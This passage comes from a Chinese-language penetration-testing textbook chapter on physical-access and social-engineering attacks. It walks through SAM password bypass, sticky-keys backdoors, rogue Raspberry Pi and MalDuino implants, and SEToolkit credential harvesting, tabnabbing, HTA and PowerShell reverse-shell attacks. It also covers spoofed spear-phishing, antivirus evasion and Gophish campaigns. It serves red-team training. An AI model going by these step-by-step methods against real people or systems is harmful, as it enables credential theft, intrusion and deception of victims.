 5.运行chntpw SAM，密码存储在Windows中的SAM文件中。安全账户管理器（Security Accounts Manager，SAM）是Windows XP、Windows Vista和Windows 7中存储用户密码的数据库文件。
 
 它可用于对本地和远程用户进行身份验证。通常情况下，SAM文件位于C/Windows/system32/config/SAM中，如图5-5所示。
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 图5-4　用户数据库文件
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 图5-5　SAM文件内容
 
 最后你应该可以收到SAM的确认，即<SAM>-OK。
 
 [image: ]注意：在Windows 10系统中，重启系统就会维持hyberfile.sys文件，从而拒绝攻击者安装系统驱动。为了安装驱动程序并获得驱动程序的访问权限，可以使用mount-t ntfs-3g-ro remove_hiberfile/dev/sda2/mnt/folder命令。注意，删除文件后，某些具有随机指针加密工具的系统可能无法启动。
 
 其他旁路工具包括Kon-boot，这是另一个与chntpw有类似功能的取证实用程序，但是Kon-boot只会影响管理员账户，而不会删除管理员密码，它只是让你无密码登录，而在下次系统正常重新启动时，会重新需要原管理员的密码，可从https://www.piotrbania.com/all/kon-boot/下载该工具。
 
 
 5.2.2　粘滞键
 
 本节将探讨如何物理访问已解锁或没有密码的Windows计算机的控制台。攻击者可以利用Microsoft Windows粘滞键功能，在几秒钟之内建立一个后门。但是，需要一个管理员权限来替换可执行文件。一旦系统通过Kali Linux启动，攻击者就可以替换文件而不受任何限制。
 
 以下是攻击者用cmd.exe或powershell.exe替换Windows的实用程序的列表：
 
 ·sethc.exe
 
 ·utilman.exe
 
 ·osk.exe
 
 ·narrator.exe
 
 ·magnify.exe
 
 ·displayswitch.exe
 
 如图5-6所示，攻击者用cmd.exe替换了sethc.exe。
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 图5-6　用cmd.exe替换sethc.exe
 
 
 5.3　创建流氓物理设备
 
 当入侵者可以直接物理访问系统和网络时，Kali也是有利于攻击的。这可能是一个冒险的攻击，因为入侵者可能被细心的人或监控设备发现。然而，“奖励”可能是丰厚的，因为入侵者可以入侵有重要价值数据的系统。
 
 物理访问通常是社会工程学的直接结果，尤其是当使用冒充时。通常冒充包括以下内容：
 
 ·一个自称是帮助平台或IT支持的人，只需要通过安装系统升级，就能快速地打动受害者。
 
 ·一个供应商和一个客户聊天，然后假装有某人要聊天，或者去洗手间。
 
 ·一个投递员丢弃一个包裹。攻击者可以选择在线购买一套制服。不管怎样，因为大多数人都认为，一身穿着棕色衣服、推着堆满箱子的手推车的人就是UPS的投递员，制服对社会工程学不是必要的！
 
 ·工人穿着工作服，背着一个他们打印出来的“工作序号”，通常允许进入配线间和其他区域，特别是，当他们声称这是建筑管理者的要求时。
 
 穿着昂贵的西装，夹着一个写字板，来去匆匆。员工会认为你是一个新来的经理。在进行这种渗透时，我们通常会告知人们，我们是审计师，而我们的检查很少受到质疑。
 
 敌意的物理访问的目标是快速入侵选定的系统，这通常是通过在目标上安装一个后门或类似的设备来实现。
 
 经典的攻击之一是在系统中放置一个CD-ROM、DVD或USB密钥，让系统自动播放选项安装它。然而，许多组织禁止在网络上自动播放。
 
 攻击者还可以创建带有“有毒诱饵”（poisoned bait）陷阱的移动设备，通过文件的名称引诱一个人点击文件，并检查其内容。一些例子如下：
 
 ·带标签的USB钥匙，如员工工资或医疗保险更新。
 
 ·Metasploit允许攻击者绑定一个有效负载（如反向外壳）到一个可执行文件（如屏幕保护程序）。攻击者可以使用公开可用的企业形象，创建一个屏幕保护程序，并邮寄CD给员工，标有新的endorsed screensaver字样。当用户安装程序时，也安装了后门，它连接到攻击者。
 
 ·如果你知道员工参加了最近的一次会议，攻击者可以冒充一个供应商，并且给目标发送一封信件，暗示它是供应商给定的后续服务。一个典型的信息是“如果你错过了我们的产品演示和为期一年的免费试用，请查阅USB密钥上的幻灯片，单击start.exe文件”。
 
 一个有趣的变种是SanDisk U3 USB密钥，或Smart Drive（智能驱动）。U3密钥被预装软件，当插入协助启动批准程序时，启动允许密匙直接写入文件或注册表信息。u3-pwn工具（Kali Linux|Applications|Social Engineering Tools|u3-pwn）从SanDisk U3删除原来的ISO文件，并且用一个敌意的Metasploit负载代替它，然后编码以避免目标系统的检测。不幸的是，这些USB设备的支持正在减少，而且与Metasploit负载一样，面对相同程度的检测时，它们仍有漏洞。
 
 微机或基于USB的攻击代理
 
 近年来利用微机或者基于USB设备的渗透测试和红队训练显著增加。这主要是因为它们比较便捷，可以隐藏在网络上任何地方，并且几乎可以像普通的笔记本一样运行。本节我们将介绍两个最常用的设备：Raspberry Pi和Malduino USB。
 
 Raspberry Pi
 
 Raspberry Pi是一种微机，尺寸约8.5cm×5.5cm，但能包含2 GB RAM、两个USB端口和一个以太网端口（采用Broadcom芯片），使用ARM处理器，运行频率700 MHz（可超频至1 GHz）。它不包括硬盘，而是使用SD卡进行数据存储。如图5-7所示，Raspberry Pi差不多口袋大小，很容易隐藏在网络中（藏在工作站或服务器后面、放置在服务器柜中，或隐藏在数据中心的地板下）。
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 图5-7　Raspberry Pi
 
 要将Raspberry Pi配置为攻击媒介，以下项目是必需的：
 
 ·Raspberry Pi模型B或更新版本。
 
 ·一个HDMI电缆。
 
 ·微型USB电缆和充电设备。
 
 ·一个以太网电缆或小型无线适配器。
 
 ·一个SD卡，10级，至少8 GB。
 
 所有的设备通常可以在网上买到，总费用不到70美元。
 
 1.为了配置Raspberry Pi，从https://www.offensive-security.com/kali-linux-arm-images/下载Kali Linux ARM的最新版本，并从源文件中解压镜像。如果你正在基于Windows的操作系统进行配置，那么我们可以利用第1章中的Win32Disk Imager来制作一个Kali的启动USB记忆棒。
 
 2.使用一个读卡器，连接SD卡到基于Windows的计算机，并且打开Win32Disk Imager。选择ARM版本的Kali，即提前下载和提取的kali-custom-rpi.img，并将其写入SD卡。这需要一些时间。在MAC或Linux系统上刷新SD卡的说明可以在Kali网站上找到。
 
 3.将刷新的SD卡插入Raspberry Pi，连接以太网电缆或无线适配器到Windows工作站，通过HDMI电缆连接到显示器，并使用微型USB电源线供电。一旦通电，它将直接引导到Kali Linux。Raspberry Pi依靠外部电源，没有单独的开关。然而，仍然可以从命令行关闭Kali。一旦Kali安装成功，使用apt-get命令检查是否是最新版本。
 
 4.确保及时修改SSH主机密钥，因为所有的Raspberry Pi镜像具有相同的密钥。使用下面的命令：
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 同时，确保更改默认的用户名和密码。
 
 5.下一步是配置Raspberry Pi连接回攻击者的计算机（使用静态IP地址，或使用动态DNS寻址服务），固定间隔时间使用cron。接着攻击者必须物理访问目标的处所，并将Raspberry Pi连接到网络。大多数网络会自动分配设备的DHCP地址，对这种类型的攻击的控制力有限。
 
 6.一旦Raspberry Pi连接回攻击者的IP地址，攻击者可以使用SSH发出命令，从远程位置对受害者的内部网络进行侦察和利用。
 
 如果连接了无线适配器，如EW-7811Un，150Mbps的无线802.11b/g/n Nano USB适配器，攻击者可以进行无线连接，或者使用Raspberry Pi发起无线攻击（参见第8章）。
 
 MalDuino
 
 MalDuino是一款Arduino驱动的USB，可被攻击者用于红队训练和渗透测试活动中。MalDuino具有键盘注入的功能，并能在几分之一秒内执行命令。MalDuino在面对机构建筑物的物理安全门禁时非常有用。通常，人们认为有物理门禁防护，没人会乱来，因此，机构内部人员很少锁定计算机。即便攻击者获得了系统的物理访问，员工也可以争辩说电脑没有启用USB机制，所以还是安全的。然而，不启用USB并不意味没有启用基于USB的键盘功能。当攻击者插入MalDuino时，MalDuino就可以充当键盘，然后输入攻击者想要运行的特定命令。
 
 MalDuino有两类：精英版Elite和精简版Lite。区别在于，精英版提供了一个SD卡选项，你可以通过设备上的硬件开关转储大约16个不同的有效负载，使你无须重新配置整个设备。而对于精简版，每次改变负载的话，你都必须重新配置MalDuino。
 
 MalDuino还支持Ducky脚本模板，使编写自定义脚本变得很容易。图5-8是一个精英版的MalDuino照片。
 
 配置MalDuino的说明请访问:https://malduino.com/wiki/doku.php?id=setup:elite。
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 图5-8　MalDuino精英版
 
 这里我们主要介绍如何通过以下步骤在MalDuino上创建PowerShell Empire脚本：
 
 1.在Empire中创建PowerShell负载。
 
 2.确保监听开启，并监听所有连接。
 
 3.将PowerShell启动程序转化为字符串，因为MalDuino的缓冲区大小只有256字节，所以负载必须进行分片。可以通过访问以下网站完成转换：https://malduino.com/converter/。
 
 4.字符串转换完成后，你将看到如图5-9所示的界面。
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 图5-9　PowerShell字符串转换
 
 5.下一步是建立ducky脚本，如图5-10所示。
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 图5-10　建立ducky脚本
 
 6.最后一步是将设备插入目标主机，随后，你将看到代理接收到的反馈信息，如图5-11所示。
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 图5-11　接受MalDuino的反馈信息
 
 
 5.4　社会工程学工具包
 
 社会工程学工具包由David Kennedy（ReL1K）设计并开发，并由一群活跃的合作者进行维护（www.social-engineer.org）。该工具包是开源的Python驱动框架，主要为协助社会工程学攻击而设计。
 
 设计工具包的目的是通过培训实现安全。它的一个重要优点在于可以和Metasploit框架相互连接，而Metasplot框架提供了攻击所需的负载，通过加密绕过防火墙，以及当目标系统返回shell时进行连接的监听器模块。
 
 为了在Kali发行版中打开社会工程学工具包，可以进入以下路径“Applications/Social Engineering Tools/setoolkit”，或者在命令行中输入“setoolkit”。你首先会看到如图5-12所示的主界面。
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 图5-12　SEToolkit主界面
 
 如果选择1）Social-Engineering Attacks，会出现如图5-13所示的子菜单。
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 图5-13　社会工程学攻击界面
 
 下面对社会工程学攻击做简单介绍：
 
 网络钓鱼攻击媒介（Spear-Phishing Attack Vector），攻击者创建邮件信息，并使用附加漏洞将信息发送给目标受害者。
 
 网站攻击媒介（Website Attack Vectors），使用多重基于Web的攻击，包括：
 
 ·Java小程序攻击方法（Java applet attack method），伪造一份Java证书，并且运行一个基于Metasploit的负载。该攻击是最成功的攻击之一，可以有效地针对Windows、Linux和mac OS目标进行攻击。
 
 ·Metasploit浏览器利用方法（Metasploit browser exploit method），使用iFrame攻击，运行一个Metasploit负载。
 
 ·凭据收割机攻击方法（Credential harvester attack method），对网站进行复制，并且通过对POST参数进行重写，使得攻击者可以拦截并且窃取用户的凭证。当窃取完成后，将受害者重定向回原来的网站。
 
 ·标签钓鱼攻击方法（Tabnabbing attack method），对一个非活动的浏览器标签页面进行复制，修改复制后的页面，使其与攻击者相连接，最后使用该页面替换原有标签信息。当用户登录该页面时，用户的凭证将会发送给攻击者。
 
 ·Web劫持攻击方法（Web jacking attack method），使用iFrame替代，合法地将某些URL连接设置为高亮。当该链接被点击时弹出一个窗口，该窗口连接到一个恶意链接。
 
 ·Web综合攻击方法（Multi-attack Web method），允许一个攻击者选择若干，或者全部可以同时使用的攻击手段，包括：
 
 ·Java小程序攻击方法。
 
 ·Metasploit浏览器利用方法。
 
 ·凭证收割机攻击方法。
 
 ·标签钓鱼攻击方法。
 
 ·中间人攻击方法。
 
 ·全屏攻击方法（full-screen attack method），当系统处于全屏模式时，攻击者在幕后发动的简单攻击方法。
 
 ·HTA攻击方式（HTA attack method），当一个攻击者提供一个假网站时，将自动下载.hta格式的HTML应用程序。
 
 ·介质感染攻击发生器（infectious media generator），生成一个autorun.inf文件和Metasploit负载。一旦受感染的USB设备或者物理介质（CD或DVD）插入目标系统，会自动运行（前提是开启autorun选项）并且感染目标系统。
 
 ·创建负载和监听器（create a payload and listener），这个模块是创建一个Metasploit负载的快速菜单驱动方法。攻击者必须使用单独的社会工程学攻击欺骗目标运行该模块。
 
 ·大规模邮件攻击（MassMailer attack），允许攻击者向某个邮件地址或者一组接收者发送多封自定义邮件。
 
 ·基于Arduino的攻击媒介（Arduino-based attack vector），通过对基于Arduino的设备写入程序实现，例如Teensy。因为这些设备在物理连接Windows操作系统时，注册为USB接口的键盘设备，因此可以绕过基于禁用autorun或者其他终端保护的安全措施。
 
 ·无线接入点攻击媒介（wireless access point attack vector），可以在攻击者的操作系统中创建一个伪造的无线接入点和DHCP服务器，并且将DNS解析请求重定向到攻击者的系统。攻击者随后可以进行一系列攻击，例如Java小程序攻击或者凭证收割机攻击。
 
 ·二维码生成攻击媒介（QRcode generator attack vector），生成一个与攻击的URL有关的二维码。
 
 ·Powershell攻击媒介（Powershell attack vectors），支持攻击者进行依赖于PowerShell（Windows Vista及其以后版本可用的命令行解释器和脚本语言）的攻击。
 
 ·短信欺骗攻击媒介（SMS spoofing attack vector），可以让攻击者向某人的移动设备发送自定义的短信服务（Short Message Service）文本，并且对消息的来源进行伪造，这个模块最近被屏蔽了。
 
 ·第三方模块（third party modules），支持攻击者使用远程管理工具汤米版（Remote Administration Tool Tommy Edition，RATTE）作为Java小程序攻击的一部分，或者作为一个独立的负载。RATTE是一个文本目录驱动的远程访问工具。
 
 SEToolkit也提供了快速跟踪渗透测试（fast-track penetration testing）的菜单项。快速跟踪渗透测试支持对一些特殊工具的快速访问，例如支持暴力破解认证和SQL数据库密码破解，还有一些基于Python、SCCM攻击媒介、Dell computer DRAC/chassis攻击、用户枚举和PsExec PowerShell注入等的客户端攻击。
 
 快速跟踪渗透测试菜单项同时也提供对Metasploit框架、SEToolkit和SEToolkit配置的升级功能。但是，由于Kali并不支持全部的额外选项，而且这些额外选项可能会造成依赖性干扰，因此要尽量避免使用。
 
 作为展示SEToolkit的强大功能的第一个例子，将会展示如何获取一个远程shell，通过被入侵系统连接攻击者的系统。
 
 
 5.4.1　使用网站攻击媒介——凭据收割机攻击方法
 
 凭据，通常为用户名和密码，是一个人访问网络、计算系统和数据的依据。攻击者可以间接使用这种信息（登录受害者的Gmail账户发送电子邮件，帮助攻击受害者的信任连接），或直接攻击用户的账户。
 
 考虑到凭据的广泛重用，这种攻击显得尤为重要，典型情况是，一个用户通常在多个地方重复使用密码。
 
 特别珍贵的是有访问特权的用户凭据，如系统管理员或数据库管理员，它可以提供给攻击者访问多个账户和数据库的凭据。
 
 SEToolkit的凭据收割机攻击，使用克隆的网站收集凭据。
 
 要发动攻击，从主菜单中选择Website Attack Vectors（网站攻击媒介），然后选择Credential Harvester Attack Method（凭据收割机攻击方法），然后选择Site Cloner（网站克隆）。作为例子，我们将按照菜单选项来克隆一个网站，如Facebook，如图5-14所示。
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 图5-14　选择克隆Facebook
 
 接着，目标地址必须发送到预定目标。当目标点击链接或输入IP地址，会出现一个克隆页面，类似于Facebook的登录页面，他们会被提示输入用户名和密码，如图5-15所示。
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 图5-15　Facebook克隆网站的登录界面
 
 一旦完成后，用户将被重定向到正常的Facebook网站，在那里他们将登录自己的账户。
 
 在后台中，他们的访问凭据将被收集并转发给攻击者。在监听器窗口将看到下面的条目，如图5-16所示。
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 图5-16　后台收到的数据
 
 当攻击者已经完成凭据收集后，按下Ctrl+C，在/SET/reports/目录中，将生成XML和HTML两种格式的报告。
 
 注意URL栏的地址并不是Facebook的认证地址。如果看到这些地址，大部分用户会意识到有问题。对于一个成功的利用，攻击者需要一个合适的借口或故事，使受害者接受不寻常的网址。例如，发送一封电子邮件给一组非技术性管理者，宣称本地Facebook网站正在由IT接管以减少邮件系统的延误。
 
 凭据收割攻击是评估企业网络安全的一个很好的工具。要使其充分发挥作用，该组织必须首先培训所有员工如何识别和应对网络钓鱼攻击。大约2周后，发送一个企业范围内的电子邮件，包含一些明显的错误（不正确的企业总裁名或包含错误地址的地址块）和一个链接到收获凭据的程序。计算收件人中使用他们的凭据回应的百分比，然后调整培训计划，以减少这一比例。
 
 
 5.4.2　使用网站攻击媒介——标签钓鱼攻击方法
 
 标签钓鱼（tabnabbing）通过在一个浏览器打开的标签页中加载一个假网页来骗取用户的信任。通过冒充Gmail、Facebook或任何其他网站发布的需要提供数据（通常是用户名和密码）的网页，一个标签钓鱼攻击可以收集受害者的凭据。社会工程学工具包含有凭据收割机攻击，如之前所述。
 
 为了发动这种攻击，从一个控制台提示符启动社会工程学工具包，然后选择1）Social-Engineering Attacks。在下一级菜单中，选择2）Website Attack Vectors。最后，标签钓鱼攻击通过选择4）Tabnabbing Attack Method来启动。
 
 当攻击被启动时，你将看到有三个选项来生成假网站，用来收集凭据。攻击者可以让SEToolkit导入一个预定义Web应用的列表，克隆一个网站（比如Gmail），或者导入自己的网站。在这个例子中，我们将选择2）Site Cloner（网站克隆）。
 
 这将促使攻击者进入服务器将发布的IP地址，这通常是攻击者的系统的IP地址。
 
 随后攻击者必须使用社会工程学，迫使受害者访问地址后，产生返回的行动（例如，缩短URL）。受害者会接收到一个消息，该网站正在加载（如攻击脚本在浏览器的不同标签下加载克隆网站，如图5-17所示）。
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 图5-17　加载克隆网站
 
 然后，假网页将呈现（虚假的IP地址仍然可见）。如果用户输入用户名和密码，数据将发送到攻击者的监听器。正如你在图5-18中看到的那样，它捕获了用户名和密码。
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 图5-18　标签钓鱼攻击捕获用户名和密码
 
 网站攻击媒介的“玛丽冰雹”攻击是一种综合攻击网页方法（Multi-attack Web method），它允许攻击者一次执行几种他们所选的不同的攻击。默认情况下，所有的攻击都是禁用的，需要攻击者选择一个在受害者上执行，如图5-19所示。
 
 这是一个有效的选择，如果不能确定攻击对目标组织的有效性，攻击者会先选择一名员工进行攻击，确定攻击成功后，再利用这些方法攻击其他员工。
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 图5-19　选择多种攻击方法进行综合攻击
 
 
 5.4.3　HTA攻击
 
 这种类型的攻击是一个简单的HTML应用程序，可以为远程攻击者提供完全访问。HTA通常的文件扩展名为.hta。HAT文件与任何具有扩展名为.exe的可执行文件一样。当通过mshta.exe执行（或者文件图标被双击），它将立即运行。当通过浏览器远程执行时，在HTA下载之前会询问一次用户是否保存并运行应用程序。如果保存，它可以简单地按需运行。
 
 攻击者可以使用Web技术为Windows操作系统创建恶意应用程序：要使用SEToolkit启动HTA攻击，请从主菜单中选择1）Social-Engineering Attacks。然后从下一个菜单中选择2）Website Attack Vectors，然后选择8）HTA Attack Method，然后选择2）Site Cloner克隆任何网站。在这个例子中，我们将克隆Facebook.com，如图5-20所示。
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 图5-20　利用HTA攻击克隆Facebook
 
 攻击者将发送假Facebook.com服务器给受害者用户进行网络钓鱼，图5-21展示了受害者会看到的界面。
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 图5-21　受害者看到的界面
 
 如果受害者在本地运行HTA文件，这将打开与攻击者的反向连接，如图5-22所示。SEToolkit应该从Metasploit自动设置监听器。
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 图5-22　受害者打开与攻击者的反向连接
 
 
 5.4.4　使用PowerShell字母数字的shellcode注入攻击
 
 社会工程学工具包还包含基于PowerShell的更有效的攻击，适用于所有Windows Vista（含）之后的微软操作系统。因为PowerShell的shell code可以很容易地注入目标的物理内存中，使用该载体的攻击不会触发病毒警报。
 
 为了使用SEToolkit发起PowerShell的注入攻击，从主菜单选择1）Social-Engineering Attacks。然后从下一级菜单选择10）Powershell Attack Vectors。
 
 这会提供四种攻击类型以供攻击者选择。例如，选择1，使用PowerShell alphanumeric shellcode injector。
 
 这将设置攻击参数，并提示攻击者输入有效负载监听器的IP地址，通常是攻击者的IP地址。当攻击参数输入，程序将创建利用代码，并开启一个本地监听器。
 
 PowerShell展开攻击的shellcode存储在/root/.set/reports/powershell/x86_powershell_injection.txt中。当攻击者说服受害者在命令提示符下复制x86_powershell_injection.txt文本的内容时，攻击的社会工程学行为发生，并执行代码，如图5-23所示。
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 图5-23　PowerShell攻击成功
 
 如图5-24所示，shellcode的执行没有触发目标系统上的反病毒报警。相反，当代码执行时，它在攻击系统上打开了Meterpreter会话，并允许攻击者攻击系统与远程系统交互shell。
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 图5-24　Meterpreter会话
 

  5.5　隐藏可执行文件与伪装攻击者的URL


  正如前面的例子所述，在发起一个社会工程学攻击时，有两个成功的关键因素。首先需要获得一些必要的攻击信息，如用户名、商业信息、网络支持细节、系统，以及应用等。


  然而，大多数的工作努力都集中在第二方面，各具特色的攻击，以吸引目标进入一个位置，打开一个可执行文件，或点击一个链接为目的。


  想成功攻击，就要求受害者执行一些攻击生成模块。如今用户对执行未知的软件变得越来越谨慎小心。然而，有一些方法可以增加成功执行攻击模块的可能性，主要包括以下几点：


  ·攻击来自受害者信任和已知的系统，或伪装了的攻击源地址。如果攻击来自帮助平台或IT支持位置，并声称是一个“紧急软件更新”，软件可能会被执行。


  ·将可执行文件重命名为类似于可信的软件，例如“Java更新”。


  ·将恶意的有效负载嵌入良性文件，如使用Metasploit的adobe_pdf_embedded_exe_nojs攻击，嵌入一个PDF文件中。


  ·可执行文件也可以绑定到微软Office文件、MSI安装文件，或BAT文件，配置在桌面上默默地运行。


  ·有用户点击下载该恶意可执行文件的链接。


  ·由于SEToolkit使用攻击者的URL作为其攻击的目标，一个关键的成功因素是确保攻击者的URL对受害者是可信的。有几种技术来完成这一任务，包括以下内容：


  ·缩短URL，使用如https://goo.gl或tinyurl.com这样的服务。缩短的网址常见于社交媒体，如Twitter，受害者点击这样的链接时很少使用注意事项。


  ·在社交媒体网站如Facebook或LinkedIn进入链接。网站会创建自己的链接来代替你的，使用目标页面的镜像。然后，删除你输入的链接，留下新的社交媒体链接。


  ·在LinkedIn或Facebook上创建假网页。作为攻击者，你应控制内容，并能创造一个令人信服的故事，驱使成员点击链接或下载可执行文件。一个良好的执行页面将不仅针对员工，而且针对供应商、合作伙伴和他们的客户，最大限度地提高社会工程学攻击的成功率。

 
 5.6　使用DNS重定向升级攻击
 
 如果一个攻击者或渗透测试人员已经侵入内部网络中的一个主机，他们可以使用DNS重定向升级攻击。这通常被认为是一个横向攻击（它侵入的人有大致相同的访问权限），但是，如果捕获了特权人员的凭据，它也可以垂直升级。在这个例子中，我们将使用BetterCap作为交换式局域网的嗅探器、拦截器和记录器。它有利于中间人攻击，但是我们将用它来启动一个DNS重定向攻击，转移用户到社会工程学攻击的网站。
 
 为了实施DNS重定向攻击，新版的BetterCap提供了多种选项，如图5-25所示。
 
  
  [image: ] 
 
 
 图5-25　BetterCap选项
 
 我们可以根据需要激活相应的模块。例如，这里我们通过IP地址和域名信息创建dns.conf文件，可以对目标实施DNS洪泛攻击（见图5-26）。这使得网络上所有对microsoft.com的请求都会转发到192.168.0.13。我们将在第11章介绍BetterCap的更多细节。
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 图5-26　利用BetterCap实施DNS洪泛攻击
 
 
 5.6.1　鱼叉式网络钓鱼攻击
 
 钓鱼攻击是针对大量受害者的邮件诈骗攻击，例如，对已知的美国互联网用户列表进行攻击。一般情况下，无法直接连接目标，并且邮件也不针对某个指定目标。
 
 相反，邮件一般包含很多人都感兴趣的话题（例如，点击此处购买药品），并且包含恶意链接或附件。出于好奇心，总有一些人会点击链接或者附件，从而触发攻击。
 
 从另一方面来说，鱼叉式网络钓鱼是钓鱼攻击的一种特殊的方式。通过特殊的方法，手工生成邮件消息，攻击者希望吸引特定人群的注意。例如，如果攻击者得知销售部门使用特定的应用管理客户关系，他们可以伪造一封来自应用供应商的邮件，主题为“<应用>紧急修复补丁——点击链接下载”。
 
 1.在发起攻击之前，要确保Kali中已安装了sendmail（apt-get install sendmail），并且将配置文件set_config中的SENDMAIL=OFF选项，修改为SENDMAIL=ON。
 
 2.为了加载一个攻击，从SEToolkit菜单中选择Social Engineering Attacks，然后在子菜单中选择Spear-Phishing Attack Vectors。此时会加载该攻击的开始选项，如图5-27所示。
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 图5-27　网络钓鱼攻击子菜单
 
 3.选择1进行一次大量电子邮件攻击，然后会显示多个攻击负载的列表，如图5-28所示。
 
  
  [image: ] 
 
 
 图5-28　大量电子邮件攻击
 
 4.攻击者可以根据在侦察阶段获得的可用目标的知识来选择任何可用的负载。这里我们用7）Adobe Flash Player“Button”Remote Code Execution作为例子。
 
 当选择7）时，将提示选择有效负载，如图5-29所示。在本例中我们使用了Windows Meterpreter反向shell HTTPS。
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 图5-29　提示选择有效负载
 
 一旦从SEToolkit控制台准备好了有效负载和漏洞，攻击者就会得到如图5-30所示的确认。
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 图5-30　攻击者得到确认
 
 5.现在可以通过选项2.Rename the file，I want to be cool来重命名文件。
 
 6.重命名文件后，将获得两个选项：E-mail Attack Single Email Address（单个电子邮件攻击），或者E-mail Attack Mass Mailer（攻击大量邮件），如图5-31所示。
 
 7.攻击者可以选择多个邮件或较弱的受害者单个目标。如果使用单一的电子邮件地址，SEToolkit会提供攻击者可以进一步使用的模板，如图5-32所示。
 
 8.在选择钓鱼模块之后你有两种选择发起攻击：（1）用你自己的Gmail账户，（2）用你自己的服务器或开放中继。如果你使用Gmail账户，攻击可能失败。Gmail会检查发送的邮件中的恶意文件，能非常有效地识别SEToolkit和Metasploit框架产生的负载。如果你必须使用Gmail发送有效负载，首先用Veil-Evasion编码。
 
  
  [image: ] 
 
 
 图5-31　获得攻击邮件选项
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 图5-32　提供的攻击者使用的模板
 
 建议你使用sendmail选项发送可执行文件。它允许你假冒电子邮件的来源，使它看起来好像来自受信任的来源。
 
 为了确保电子邮件是有效的，攻击者应该关注以下几点：
 
 ·内容应该提供一个“胡萝卜”（新的服务器更快，反病毒措施有改进）和一个“棒”（在可以访问电子邮件之前，你需要做的一些更改）。大多数人都会立即采取行动，特别是在影响到他们的时候。
 
 ·在前面给出的例子中，所附文件的标题是template.doc。
 
 ·在真实的场景中，这将被改变为instructions.doc。
 
 ·确保你的拼写和语法是正确的，并且在信息的语调与内容匹配。
 
 ·个人发送电子邮件的标题应该与内容匹配。
 
 ·如果目标组织很小，你可能要假冒真正的人的名字，并且发送电子邮件给一个小组，一般不与个人交互。
 
 ·包含一个电话号码，它能使邮件看起来更“官方”，并且，有不同的使用商业语音的IP解决方案，获得本地区号短期的电话号码。
 
 一旦攻击的电子邮件发送到目标，成功激活（收件人启动可执行文件）将创建一个反向的Meterpreter通道到攻击者的系统。攻击者接下来就可以控制被危害的系统。
 
 
 5.6.2　使用Gophish设置网络钓鱼活动
 
 Gophish是一个开源的集成网络钓鱼框架，同时也支持商用。Gophish框架使得任何类型的用户都可以在几分钟内快速创建网络钓鱼，实现复杂的网络钓鱼模拟，或者实施真正的攻击。不同于SEToolkit，Kali Linux中没有预装Gophish框架。本节我们将介绍如何搭建Gophish环境。
 
 1.根据系统配置信息，从网站https://github.com/gophish/gophish/releases下载对应的Gophish版本。本书中我们使用的版本是gophish-v0.7.1 64-bit Linux version。
 
 2.在Kali Linux中完成下载后，解压文件并配置config.json文件。攻击者可以选择利用多种数据库，如MySQL、MSSQL等，这里我们使用的是sqlite3。如图5-33所示，如果测试人员想在局域网分享资源，那么必须在listen_url中指定准确的IP地址，默认情况下，IP地址是本地主机。
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 图5-33　配置Gophish的config.json文件
 
 3.然后，在终端中输入./gophish运行应用程序。这就开启了一个具有自签名的SSL证书的BeEF网络应用端口，默认端口号为3333。
 
 4.如图5-34所示，浏览网站https://yourIP:3333就可以访问Gophish应用了。你可以通过用户名admin和密码gophish登录，建议登录后立即修改默认密码。
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 图5-34　Gophish登录界面
 
 
 5.7　发起网络钓鱼攻击
 
 在发起网络钓鱼攻击之前，必须先在Gophish做好相应准备工作。在成功发起网络钓鱼攻击前，大致有4件重要的事情需要做：
 
 ·模板（Template）：模板是网络钓鱼至关重要的一部分。你必须根据自己的攻击计划创建自己的模板。最常用的模板包括Office365、Webmail,以及内部Facebook和Gmail登录。部分模板可以从以下网站获取：https://github.com/PacktPublishing/Mastering-Kali-Linux-for-Advanced-Penetration-Testing-Third-Edition/tree/master/Chapter05。
 
 ·页面（Page）：网络钓鱼攻击效果取决于你如何用引导页将受害者重定向到一个合法网站。
 
 ·配置信息（Profile）：从配置信息你可以获取到所有的SMTP信息和发送者的信息。Gophish允许攻击者根据定制的电子邮件标题定义多种配置。
 
 ·用户和群组（User and Group）：上传包含目标受害者姓名的电子邮件账号。Gophish允许测试者创建群组，并支持CSV格式导入群组。
 
 如图5-35所示，一旦模板、引导页、用户和配置信息都设置好，就可以发起网络钓鱼攻击了。攻击者还可以设计网络钓鱼的时间、次数以及目标受害者的群组。Gophish还提供了可选项，用以测试电子邮件是否成功发送到目标受害者的收件箱。
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 图5-35　利用Gophish发起网络钓鱼攻击
 
 如图5-36所示，成功发起钓鱼攻击后，测试者可以监控整个攻击过程的所有细节。
 
  
  [image: ] 
 
 
 图5-36　钓鱼攻击监控信息
 
 
 5.8　利用bulk转换发起网络钓鱼攻击
 
 攻击者也可以利用bulk文件转换软件发起网络钓鱼攻击，如Send、Smash、Hightail、Terashare、WeTransfer、SendSpace和DropSend。
 
 让我们看一个简单的场景：假设有两名受害者ceo和vijay。攻击者可以在他们之间发送文件，以ceo@cyberhia.com为发送者、vijay@cyberhia.com为接收者访问批量传输网站。如图5-37所示，文件上传后，双方都会接收到包含该文件链接的电子邮件，ceo@cyberhia.com会接收到文件发送成功的邮件，vijay@cyberhia.com也会接收到类似邮件。有时，这些批量传输网站不会在公司环境的拦截名单上（如果在，攻击者也可以更换其他网站），从而可以直接接触内部员工，并创建有效的消息，不易察觉的负载也提高了成功概率，并且不会暴露攻击者的身份。
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 图5-37　ceo@cyberhia.com收到的邮件
 

  5.9　小结


  社会工程学是一种黑客方法——利用人们与生俱来的信任和乐于助人的品质来攻击网络及其设备。


  在本章中，我们研究了如何用社会工程学来促进攻击，用于收获网络凭据、激活恶意软件，或协助发起进一步的攻击。大部分的攻击依赖于社会工程学工具和Gophish。然而，Kali也还有几个其他的应用程序可以使用社会工程学的方法来改进。我们介绍了无须借助任何电子邮件服务，直接利用bulk转换公司就可以发送负载，从而实施网络钓鱼。我们还研究了如何进行物理访问，通常需要与社会工程学相结合，可以用来在目标网络上放置敌意设备。


  在第6章中，我们将研究如何对无线网络进行侦察，攻击开放的网络，以及使用基于WPA2加密保护的网络。我们还将研究一般无线网络协议的弱点，这些弱点使得无线网络协议容易遭受拒绝服务攻击和假冒攻击。


  第6章　无线攻击


  鉴于移动设备的主导地位，公司自带设备（Bring Your Own Devices，BYOD）的采用，以及提供即时网络连接的需要，无线网络已成为互联网上无处不在的接入点。不幸的是，无线接入在提供便利性的同时，也带来了盗窃访问、盗窃数据，以及网络资源拒绝服务等有效攻击。Kali提供了多种用于配置和启动无线攻击的工具，使组织机构能够提高其安全性。


  在本章中，我们将审查研究几项日常任务和无线攻击，其中包括：


  ·配置Kali实现无线攻击。


  ·无线侦察。


  ·绕过隐藏的SSID。


  ·绕过MAC地址认证和开放认证。


  ·破解WAP/WPA2加密和实施中间人攻击。


  ·使用Reaver攻击无线路由。


